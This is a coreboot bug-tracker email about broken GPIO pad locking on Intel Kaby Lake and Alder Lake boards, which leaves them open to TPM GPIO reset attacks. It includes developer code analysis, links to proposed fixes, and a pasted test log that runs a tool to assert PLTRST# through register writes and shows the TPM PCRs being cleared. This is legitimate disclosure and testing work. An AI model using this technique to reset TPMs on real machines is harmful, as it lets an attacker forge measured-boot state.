[coreboot - Bug #576] GPIO locking is broken on Kaby Lake and possibly other platforms
Thierry Laurion via coreboot <[email protected]> Sun, 02 Aug 2026 17:48:09 +0000
| Newsgroups | gmane.linux.bios |
|---|---|
| Message-ID | <[email protected]> |
Issue #576 has been updated by Thierry Laurion.
Mate Kukri wrote in #note-4:
> Dan Ran wrote in #note-3:
> > Nicholas Chin wrote in #note-1:
> > > I've looked through the code and this is what I've found so far:
> > >
> > > There are two basic functions for locking GPIO pads, `gpio_lock_pads()` and `gpio_non_smm_lock_pad()`, both in `soc/intel/common/block/gpio/gpio.c`.
> > >
> > > `gpio_lock_pads()` can only be called from SMM, and requires that `SOC_INTEL_COMMON_BLOCK_SMM_LOCK_GPIO_PADS` is selected. There are two possible code paths where this function is invoked:
> > > - The finalize SMI handler (`soc/intel/common/block/gpio/gpio.c:finalize()`), which calls `soc_lock_gpios()`. This requires that the platform implement a `soc_gpio_lock_config()` override to return which GPIOs should be locked, which no platform implements. Thus, locking from the SMI handler does not work even if `SOC_INTEL_COMMON_BLOCK_SMM_LOCK_GPIO_PADS` is selected.
> > > - `soc/intel/common/block/gpio/gpio.c:gpio_lock_pad()`, which calls `gpio_lock_pads()` if called from SMM code. This does not suffer from the `soc_gpio_lock_config()` described above, but this is almost always called from ramstage through the `gpio_configure_pads()` > `gpio_configure_pad()` call stack. The one exception is `mb/google/dedede`, which calls it from a mainboard SMI handler. It will also call `gpio_lock_pads()` if `SOC_INTEL_COMMON_BLOCK_SMM_LOCK_GPIO_PADS` is selected, even if called from ramstage, but this will also fail to lock the pads as `gpio_lock_pads()` checks that it is called from SMM.
> > >
> > > Thus, the SMM method doesn't work because essentially no platform implements it.
> > >
> > > `gpio_non_smm_lock_pad()` is only called from `gpio_lock_pad()` if outside of SMM (almost always true as mentioned above) and if `SOC_INTEL_COMMON_BLOCK_SMM_LOCK_GPIO_PADS` is NOT selected. For this function to perform the lock, either `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR` or `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI` must be selected, which choose the method to access the GPIO registers in the Private Configuration Space. The former uses the MMIO mapping of the registers through SBREG, while the latter sends sideband messages through the P2SB registers. Currently, only Alderlake onwards selects these configs, so GPIO locking using this method is expected to be broken on all `soc/intel` platforms prior to this that use the common GPIO code.
> > >
> > > The latter method was added in [commit fe678cbd195d](https://review.coreboot.org/c/coreboot/+/60801) ("soc/intel/common/gpio: Perform GPIO PAD lock outside SMM").
> > > [Commit 222852a26476](https://review.coreboot.org/c/coreboot/+/66113) ("soc/intel/gpio: Update GPIO Lock configuration recommendation") seems to suggest that platforms prior to Alderlake can only set the lock bits using the SBI method, though I have yet to determine if this is true. The datasheets seem to suggest that the PCR method should work, which I would prefer as it consists of low overhead MMIO accesses.
> > >
> > > One other aspect that needs to be looked into is how the lockdown bits are enforced. According to PCH datasheets, after a lock bit is changed from 0 (unlocked) to 1 (locked), attempts to change it back to the unlocked state will signal an SMI. This may imply that SMM is responsible to change the bit back to 1, similar to how the old BIOS Lock Enable bit in the BIOS Control register was intended to work when setting the BIOS Write Enable bit. That method often led to security issues due to no SMI handler being implemented to change the write enable bit back to disabled.
> >
> >
> >
> > Nicholas Chin wrote in #note-2:
> > > Possible fix here:
> > > https://review.coreboot.org/c/coreboot/+/90884
> > > https://review.coreboot.org/c/coreboot/+/90885
> > >
> > > Still needs testing and verification, and extension to other affected platforms. It seems that the SBI method doesn't work on Skylake, though the PCR method does.
> >
> >
> >
> > Nicholas Chin wrote in #note-2:
> > > Possible fix here:
> > > https://review.coreboot.org/c/coreboot/+/90884
> > > https://review.coreboot.org/c/coreboot/+/90885
> > >
> > > Still needs testing and verification, and extension to other affected platforms. It seems that the SBI method doesn't work on Skylake, though the PCR method does.
> >
> > What is the status of this issue? How can we expedite a fix? I bought a used T480 to flash heads onto it, only to find out that there is a massive vulnerability (this one) on the heads firmware that has to be fixed in coreboot first. Is there a way to patch this vuln for a T480 and put the code into heads as well? Sorry i sound dumb, i'm still a noob on all of this.
> >
> > If this cant be fixed, what can I do to secure my t480? When do you think this can be fixed and patched?
>
> This needs to be implemented by someone with motivation and access to the actual hardware documentation, anything else is hope and prayers that the lock really works, but who knows if it does.
>
> Lenovo's stock BIOS and most firmware from this era is also hopelessly vulnerable and unfixed to this day.
>
> Mate Kukri
Alder Lake P also vulnerable: https://github.com/linuxboot/heads/pull/2165#issuecomment-5138700385
``` shell
# TPM GPIO Reset Vulnerability test: mount USB stick rw, audit PLTRST# lock status
mount-usb.sh --mode rw && tpm-gpio-detect 2>&1 | tee /media/tpm-gpio-detect.log
# Assert PLTRST# via P2SB PCR write and check TPM PCRs
tpm-gpio-assert 2>&1 | tee /media/tpm-gpio-assert.log
echo "=== DETECT ===" && cat /media/user/public/tpm-gpio-detect.log && echo && echo "=== ASSERT ===" && cat /media/user/public/tpm-gpio-assert.log
=== DETECT ===
Found platform AlderLake P with PCH ADL-P PCH!
P2SB SBREG_BAR = 0xfd000000 (platform-specific)
--- PLTRST# Pad Lock Status ---
GPIO Signal PADCFGLOCK PADCFGLOCKTX
GPP_B13 PLTRST# 0x00000000 (UNLOCKED) 0x00000000 (UNLOCKED) <- UNLOCKED
--- Pad Configuration ---
DW0 (0x07d0) = 0x40000400, mode: NF1 (bits 13:10=0x1)
NF1 mode -- mode transition CAN create PLTRST# reset edge
--- eSPI Bus Pin Lock Status ---
GPIO Signal PADCFGLOCK PADCFGLOCKTX
GPP_A1 ESPI_IO0 0x00000000 (UNLOCKED) 0x00000000 (UNLOCKED) <- UNLOCKED
GPP_A2 ESPI_IO1 0x00000000 (UNLOCKED) 0x00000000 (UNLOCKED) <- UNLOCKED
GPP_A3 ESPI_IO2 0x00000000 (UNLOCKED) 0x00000000 (UNLOCKED) <- UNLOCKED
GPP_A4 ESPI_IO3 0x00000000 (UNLOCKED) 0x00000000 (UNLOCKED) <- UNLOCKED
GPP_A5 ESPI_CS# 0x00000000 (UNLOCKED) 0x00000000 (UNLOCKED) <- UNLOCKED
GPP_A9 ESPI_CLK 0x00000000 (UNLOCKED) 0x00000000 (UNLOCKED) <- UNLOCKED
GPP_A14 ESPI_RESET# 0x00000000 (UNLOCKED) 0x00000000 (UNLOCKED) <- UNLOCKED
--- Vulnerability Classification ---
TIER 1 -- CONFIRMED VULNERABLE: ADL-P mobile: NF1 mode confirmed, PLTRST# verified (TIER 1)
Attack confirmed working by community testing.
=== RESULT: unlocked pins found (unlocked: 8) ===
=== ASSERT ===
SBREG_BAR = 0xfd000000 (MEM)
Found Alder Point P
--- PADCFGLOCK Status (port 0x6e, offset 0x80) ---
PADCFGLOCK = 0x00000000 (UNLOCKED, bit 13 clear)
PADCFGLOCKTX = 0x00000000 (UNLOCKED, bit 13 clear)
--- PCR State Before Assertion ---
sha256:
0 : 0x0000000000000000000000000000000000000000000000000000000000000000
1 : 0x0000000000000000000000000000000000000000000000000000000000000000
2 : 0xC45991E14F0B09EBFCD96FF16EAD26D7F3596E3F24677F587ED93FE66F3A9D16
3 : 0x0000000000000000000000000000000000000000000000000000000000000000
4 : 0x51737C77C481AA22095B38D38FC9FD494B0FFA4EAE7D3AC238082083D0AFD614
5 : 0x5DCB5FCAF52F32ED2BDF8F7C5CBA01A54343D8356EB5E2B755B635F217F29EBB
6 : 0x0000000000000000000000000000000000000000000000000000000000000000
7 : 0x0000000000000000000000000000000000000000000000000000000000000000
8 : 0x0000000000000000000000000000000000000000000000000000000000000000
9 : 0x0000000000000000000000000000000000000000000000000000000000000000
10: 0x0000000000000000000000000000000000000000000000000000000000000000
11: 0x0000000000000000000000000000000000000000000000000000000000000000
12: 0x0000000000000000000000000000000000000000000000000000000000000000
13: 0x0000000000000000000000000000000000000000000000000000000000000000
14: 0x0000000000000000000000000000000000000000000000000000000000000000
15: 0x0000000000000000000000000000000000000000000000000000000000000000
16: 0x0000000000000000000000000000000000000000000000000000000000000000
17: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
18: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
19: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
20: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
21: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
22: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
23: 0x0000000000000000000000000000000000000000000000000000000000000000
--- TPM Session Preparation ---
Running tpm2 shutdown -c to cleanly shut down TPM session
*** WARNING: About to assert PLTRST# -- TPM may reboot (PCRs clear, NVRAM preserved) ***
*** This test reboots the TPM (PCRs clear, NVRAM preserved). ***
PCR port=0x6e offset=0x7d0
DW0 (original) = 0x40000400 DW1 (original) = 0x0003c025
--- Pad Mode Check ---
Current mode: NF1 (DW0 bits 13:10 = 0x1)
Mode transition possible: NF1 -> GPIO -> NF1 (creates PLTRST# reset edge)
PLTRST# assertion CAN attempt mode transition reset
DW0 (asserted) = 0x80000000 DW1 (asserted) = 0x00000025
DW1 partially locked (TX control bits) - does not prevent reset
Registers restored
Running tpm2 startup -c to reinitialize TPM
--- PCR State After Assertion ---
sha256:
0 : 0x0000000000000000000000000000000000000000000000000000000000000000
1 : 0x0000000000000000000000000000000000000000000000000000000000000000
2 : 0x0000000000000000000000000000000000000000000000000000000000000000
3 : 0x0000000000000000000000000000000000000000000000000000000000000000
4 : 0x0000000000000000000000000000000000000000000000000000000000000000
5 : 0x0000000000000000000000000000000000000000000000000000000000000000
6 : 0x0000000000000000000000000000000000000000000000000000000000000000
7 : 0x0000000000000000000000000000000000000000000000000000000000000000
8 : 0x0000000000000000000000000000000000000000000000000000000000000000
9 : 0x0000000000000000000000000000000000000000000000000000000000000000
10: 0x0000000000000000000000000000000000000000000000000000000000000000
11: 0x0000000000000000000000000000000000000000000000000000000000000000
12: 0x0000000000000000000000000000000000000000000000000000000000000000
13: 0x0000000000000000000000000000000000000000000000000000000000000000
14: 0x0000000000000000000000000000000000000000000000000000000000000000
15: 0x0000000000000000000000000000000000000000000000000000000000000000
16: 0x0000000000000000000000000000000000000000000000000000000000000000
17: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
18: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
19: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
20: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
21: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
22: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
23: 0x0000000000000000000000000000000000000000000000000000000000000000
=== RESULT: PCRs cleared to zero -- TPM reboot confirmed via sha256 PCR read ===
--- Next Steps ---
NF1->GPIO transition executed.
Report results: https://github.com/tlaurion/tpm-gpio-fail/issues
Include this log output.
```
----------------------------------------
Bug #576: GPIO locking is broken on Kaby Lake and possibly other platforms
https://ticket.coreboot.org/issues/576#change-2371
* Author: Mate Kukri
* Status: New
* Priority: Normal
* Target version: none
* Start date: 2025-01-30
----------------------------------------
Many supported Kaby Lake boards (and possibly newer platforms as well) are vulnerable to [TPM GPIO reset attacks](https://mkukri.xyz/2024/06/01/tpm-gpio-fail.html).
Trying to fix this by marking the affected GPIOs as locked in gpio.h and even also selecting `SOC_INTEL_COMMON_BLOCK_SMM_LOCK_GPIO_PADS` does not work.
This was discovered last year and briefly discussed on #coreboot, but it came up again on the Heads matrix group in relation to supporting the TPM on the in-progress ThinkPad T480 port.
--
You have received this notification because you have either subscribed to it, or are involved in it.
To change your notification preferences, please click here: https://ticket.coreboot.org/my/account
_______________________________________________
coreboot mailing list -- [email protected]
To unsubscribe send an email to [email protected]